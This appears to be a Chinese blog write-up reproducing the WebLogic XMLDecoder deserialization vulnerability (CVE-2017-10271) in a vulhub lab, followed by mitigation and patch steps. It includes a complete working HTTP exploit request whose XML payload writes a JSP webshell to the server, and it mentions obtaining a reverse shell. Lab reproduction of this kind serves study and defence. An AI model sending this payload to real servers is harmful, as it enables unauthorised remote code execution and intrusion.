• 【漏洞复现】WebLogic XMLDecoder反序列化(CVE-2017-10271)


    1、漏洞描述

    CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

    2、涉及版本

    1. 10.3.6.0.0
    2. 12.1.3.0.0
    3. 12.2.1.1.0
    4. 12.2.1.2.0

    3、环境搭建(vulhub)

    1. cd weblogic
    2. cd CVE-2017-10271
    3. docker-compose up -d
    4. docker-compose config

    不会搭建的参考我之前的漏洞复现以及vulhub靶场搭建笔记:vulhub docker靶场搭建-CSDN博客

    4、漏洞利用

    1)访问链接:http://192.168.61.129:7001/wls-wsat/CoordinatorPortType

    返回如下页面,表示漏洞存在。

    漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。

    1. /wls-wsat/CoordinatorPortType
    2. /wls-wsat/RegistrationPortTypeRPC
    3. /wls-wsat/ParticipantPortType
    4. /wls-wsat/RegistrationRequesterPortType
    5. /wls-wsat/CoordinatorPortType11
    6. /wls-wsat/RegistrationPortTypeRPC11
    7. /wls-wsat/ParticipantPortType11
    8. /wls-wsat/RegistrationRequesterPortType11

    2)构造数据包

    构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

    1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
    2. Host: 192.168.61.129:7001
    3. Accept-Encoding: gzip, deflate
    4. Accept: */*Accept-Language: en
    5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    6. Connection: close
    7. Content-Type: text/xml
    8. Content-Length: 645
    9. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    10. <soapenv:Header>
    11. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    12. <java><java version="1.4.0" class="java.beans.XMLDecoder">
    13. <object class="java.io.PrintWriter">
    14. <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
    15. <void method="println">
    16. <string>
    17. <![CDATA[
    18. <% out.print("webshell"); %>
    19. ]]>
    20. </string>
    21. </void>
    22. <void method="close"/>
    23. </object></java></java>
    24. </work:WorkContext>
    25. </soapenv:Header>
    26. <soapenv:Body/>
    27. </soapenv:Envelope>

    3)验证webshell。

    我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp

    不熟悉JAVA可以了解构造的XML。

    1. https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

    4)实战下Linux反弹shell。

    我们kali开启监听。

    成功获取到shell。

    5.解决方案

    1.临时解决方案

    根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:

    1. rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
    2. rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    3. rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

    删除后重启Weblogic域控制器服务:

    1. DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
    2. DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务

    删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

    2.官方补丁修复

    前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

  • 相关阅读:
    【23真题】碰瓷重邮成电,题目Mini版本!
    Tair 对 Redis 引擎架构之争的看法
    分布式机器学习---数据与模型划分
    HTML表格学习
    35.【C/C++ 枚举(bool)类型和宏定义 (超详细)】
    Acrel-EIoT能源物联网云平台助力电力物联网数据服务-Susie 周
    【asp.net core】自定义模型绑定及其验证
    基于UE高渲染的API开发
    制作路由器openwrt安装及配置
    基于时间触发机制的5G应用确定性方案探索
  • 原文地址:https://blog.csdn.net/m0_69043895/article/details/138201903